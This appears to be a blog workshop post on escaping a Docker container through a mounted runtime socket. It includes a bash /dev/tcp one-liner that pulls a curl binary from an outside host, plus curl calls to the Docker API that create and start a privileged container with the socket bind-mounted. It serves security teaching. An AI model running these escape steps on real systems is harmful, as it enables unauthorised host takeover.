Post

Container Escapes 101 - shared sockets

Container Escapes 101 - shared sockets

In this workshop, we’re going to use a common configuration to avoid one bad security thing (explicitly privileged containers) by implementing another only-slightly-better feature - sharing the container runtime socket. This is another great way to launch another process, perhaps to explore more or open a tunnel back home.

Shenanigans in the socket

In order to avoid privileged escalation, it’s not uncommon to run a container with a shared container runtime’s socket. This allows the container to interact with the container runtime, but it’s also a reliable path to an escape if you find it.

This is incredibly common in CI/CD systems that build or interact with other containers, but it can also be used for test harnesses or other systems that want to use systems of containers. It’s also used to “farm out” the container builds to separate hosts. A quick search for the location of the socket on GitHub yields a depressing number of results:

sockets-dark sockets-light nearly 350k results, many from popular projects, on how to run their software using a shared socket

What containers are running?

Setup

Launch our container with the socket mounted. No need for extra privileges or anything.

1
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

Open a second SSH session into the host VM. We’ll use it a couple times to verify what we’re up to.

Oh no, no curl

We’re going to need to interact with the socket over HTTP. There are a ton of ways to do this, but I’ll stick with tried and true curl, but statically compiled so I’m not also trying to drag in a bunch of libraries.

If you have access to the package manager in your container, you can just install curl and skip this step.

1
2
3
4
5
6
7
8
export RHOST=files.some-fantastic.com
export RPORT=80
export LFILE=curl-linux-aarch64-glibc-8.14.1/curl
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > curl'

perl -e 'chmod 0755, "curl"'

I use the above domain as an HTTP server on a static site to host the curl binary from stunnel/static-curl . You can choose whether or not to use this, compile your own, bring in something else, etc. Getting a binary or two in once I have a shell isn’t typically hard. If you’re doing this, don’t forget to preface the curl command with ./ to run it in the current directory.

What’s running?

Opening another terminal session into our host VM, we can see that our container is running:

1
2
3
user@escapes:~$ docker ps
CONTAINER ID   IMAGE          COMMAND       CREATED         STATUS         PORTS     NAMES
0e1201f0a39d   ubuntu:24.04   "/bin/bash"   2 minutes ago   Up 2 minutes             sharp_newton

But how would we know that from inside of our container? Let’s use curl to query the Docker socket.

1
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

This will return a JSON array of all the containers running on the host. Once prettified, it looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[
  {
    "Id": "0e1201f0a39d32901120b2651b968c5b8675ddff28d40ea1310ff3500ea8049c",
    "Names": ["/sharp_newton"],
    "Image": "ubuntu:24.04",
    "ImageID": "sha256:b24db5c17bb8bcfff3c149999ffa403fa580c172b8d2c2950ae8fdccd4a6e4e6",
    "Command": "/bin/bash",
    "Created": 1753042151,
    "Ports": [],
    "Labels": {
      "org.opencontainers.image.ref.name": "ubuntu",
      "org.opencontainers.image.version": "24.04"
    },
    "State": "running",
    "Status": "Up 2 minutes",
    "HostConfig": { "NetworkMode": "bridge" },
    "NetworkSettings": {
      "Networks": {
        "bridge": {
          "IPAMConfig": null,
          "Links": null,
          "Aliases": null,
          "MacAddress": "26:bc:a6:fd:b9:69",
          "DriverOpts": null,
          "GwPriority": 0,
          "NetworkID": "f2f64e1141badf9b1eb82e1d39425c1bcc39c22710dcbc662148829a01d6b433",
          "EndpointID": "fa9975e1e989f436aaedcc329b1024ddcdc77d08ef0412190cecef82b37f53ae",
          "Gateway": "172.17.0.1",
          "IPAddress": "172.17.0.2",
          "IPPrefixLen": 16,
          "IPv6Gateway": "",
          "GlobalIPv6Address": "",
          "GlobalIPv6PrefixLen": 0,
          "DNSNames": null
        }
      }
    },
    "Mounts": [
      {
        "Type": "bind",
        "Source": "/var/run/docker.sock",
        "Destination": "/var/run/docker.sock",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
      }
    ]
  }
]

What else can I easily find out?

❓ What capabilities do I have in this container?

hint You can look at the `/proc/self/status` file in the container to see what capabilities you have.
example code output
root@0e1201f0a39d:/# cat /proc/self/status
Name:	cat
Umask:	0022
State:	R (running)
Tgid:	2928
Ngid:	0
Pid:	2928
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	256
Groups:	0
NStgid:	2928
NSpid:	2928
NSpgid:	2928
NSsid:	1
Kthread:	0
VmPeak:	    2412 kB
VmSize:	    2412 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    1024 kB
VmRSS:	    1024 kB
RssAnon:	       0 kB
RssFile:	    1024 kB
RssShmem:	       0 kB
VmData:	     344 kB
VmStk:	     132 kB
VmExe:	      28 kB
VmLib:	    1800 kB
VmPTE:	      48 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
untag_mask:	0xffffffffffffff
Threads:	1
SigQ:	1/15160
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000000000
SigCgt:	0000000000000000
CapInh:	0000000000000000
CapPrm:	00000000a80425fb
CapEff:	00000000a80425fb
CapBnd:	00000000a80425fb
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	2
Seccomp_filters:	1
Speculation_Store_Bypass:	thread vulnerable
SpeculationIndirectBranch:	unknown
Cpus_allowed:	3
Cpus_allowed_list:	0-1
Mems_allowed:	00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	0
nonvoluntary_ctxt_switches:	0
example answer, decoded for humans to read
user@escapes:~$ capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,
cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,
cap_audit_write,cap_setfcap


❓ What filesystems does your container see?

hint You're looking to find information about the mounts.
example answer
root@0e1201f0a39d:/# cat /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/snap/docker/common/var-lib-docker/overlay2/l/27AZAUJUG5FOQF23P5KQWPVNYH:/var/snap/docker/common/var-lib-docker/overlay2/l/UXDVPJWTVRH4B4IKRD2RR2TZHT,upperdir=/var/snap/docker/common/var-lib-docker/overlay2/c444f60900dbfafed660762a869772dabe0a68c97254d67b3c80d736d1416ea5/diff,workdir=/var/snap/docker/common/var-lib-docker/overlay2/c444f60900dbfafed660762a869772dabe0a68c97254d67b3c80d736d1416ea5/work,nouserxattr 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/sda2 /etc/resolv.conf ext4 rw,relatime 0 0
/dev/sda2 /etc/hostname ext4 rw,relatime 0 0
/dev/sda2 /etc/hosts ext4 rw,relatime 0 0
tmpfs /run/docker.sock tmpfs rw,nosuid,nodev,noexec,relatime,size=399432k,mode=755,inode64 0 0
devpts /dev/console devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/interrupts tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/latency_stats tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/scsi tmpfs ro,relatime,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0


Cool, so now I know I have a lot of permissions, but I’m not --privileged, and the docker socket is mine … let’s create another privileged container of my choosing.

What’s next?

There’s a bunch of abstraction that a command line tool like docker does for us that we don’t have to do ourselves. With only the socket and the API, we’re going to have to do a bit more work.

Let’s pull a silly container

First step is explicitly pulling the image for us to use. Here’s a tiny container that runs cowsay to print some output and that’s it. The source code is in GitHub if interested.

1
2
3
4
5
6
7
root@0e1201f0a39d:/# curl --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/v1.48/images/create?fromImage=ghcr.io/some-natalie/some-natalie/cowsay&tag=latest"
# # # lots of omitted output # # #
{"status":"Extracting","progressDetail":{"current":10070836,"total":10070836},"progress":"[==================================================\u003e]  10.07MB/10.07MB","id":"f2a5910a4073"}
{"status":"Pull complete","progressDetail":{},"id":"f2a5910a4073"}
{"status":"Digest: sha256:c20b6780148d207ad94c0afdcbf389908b9e3d03b3baafba110e007344bfd170"}
{"status":"Status: Downloaded newer image for ghcr.io/some-natalie/some-natalie/cowsay:latest"}

Now run it

We’ll need to send a structured JSON request to the Docker socket to create a new container, then another one to start it running. The curl command below does that, and it will run the cowsay command after sleeping for 30 seconds. The HostConfig section is where we specify that we want this container to be --privileged and to bind mount the Docker socket into the new container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# create the container
root@0e1201f0a39d:/# curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{
  "Image": "ghcr.io/some-natalie/some-natalie/cowsay:latest",
  "Cmd": ["/bin/sh", "-c", "sleep 30 && cowsay pwned"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/var/run/docker.sock:/var/run/docker.sock"]
  },
  "NetworkingConfig": {
    "EndpointsConfig": {
      "bridge": {}
    }
  }
}' http://localhost/containers/create
{"Id":"789d390f5d7812c51aa3f62eb5d8517700924444685ad0f4cf756713ed24be3d","Warnings":[]}

# Look at the first 12 characters of the ID.  Use those to start it!
curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.48/containers/789d390f5d78/start

Now on a second terminal, let’s look at what’s running

1
2
3
4
user@escapes:~$ docker ps
CONTAINER ID   IMAGE                                             COMMAND                  CREATED          STATUS          PORTS     NAMES
789d390f5d78   ghcr.io/some-natalie/some-natalie/cowsay:latest   "/bin/sh -c 'sleep 3…"   2 minutes ago    Up 6 seconds              mystifying_clarke
0e1201f0a39d   ubuntu:24.04                                      "/bin/bash"              54 minutes ago   Up 54 minutes             sharp_newton

❓ Ooooooh, is that extra container privileged? Even though I wasn’t in a privileged container to start with nor do I have root access in the original host? 🙊

1
2
user@escapes:~$ docker inspect --format='{{.HostConfig.Privileged}}' 789d390f5d78
true

🥳 Success!

What else can we learn?

❓ What else can we learn about our system? This lets us avoid a ton of poking around elsewhere inside of our system, as it returns information directly from the container runtime.

hint You're looking for the system info.
example answer
root@0e1201f0a39d:/# curl --unix-socket /var/run/docker.sock http://localhost/info
  # # # a large JSON object will be returned with info about seccomp, namespaces, and much much more # # #
  # # # see here example below # # #
  # https://github.com/some-natalie/some-natalie/blob/main/container-security/shared-sockets/system-info.json


❓ What about what’s running inside of other containers?

hint Oh yeah, once you know the container ID, it's simple to gain that insight with `top`.
example answer
root@0e1201f0a39d:/# curl --unix-socket /var/run/docker.sock http://localhost/containers/789d390f5d78/top
{
  "Processes": [
    [
      "root",
      "5324",
      "5299",
      "0",
      "21:29",
      "?",
      "00:00:00",
      "/bin/sh -c sleep 30 && cowsay pwned"
    ],
    ["root", "5342", "5324", "0", "21:29", "?", "00:00:00", "sleep 30"]
  ],
  "Titles": ["UID", "PID", "PPID", "C", "STIME", "TTY", "TIME", "CMD"]
}


❓ What other images are pulled on this node?

hint You're looking for the images endpoint on the Docker socket. Check the API docs listed in the Footnotes section below.
example answer
root@0e1201f0a39d:/# curl --unix-socket /var/run/docker.sock http://localhost/images/json
  (a large JSON array of images will be returned ... for this lab it should include the `cowsay` image we just pulled)


❓ What other goodies can we do with the Docker socket?

  • Create and manage an instance exec commands in a different running container.
  • View and manage the logs of other containers.
  • View and manage the networks and volumes of all containers.
  • … and so much more!

Parting thoughts

Without root access or running a privileged container, we can still escape a container by using the shared socket to create a new privileged container. Access to this socket, via a Unix socket as shown here or via TCP socket, will give anyone the ability to do all of the things that user can.

Back to the index.

Footnotes

This post is licensed under CC BY-NC-SA 4.0 by the author.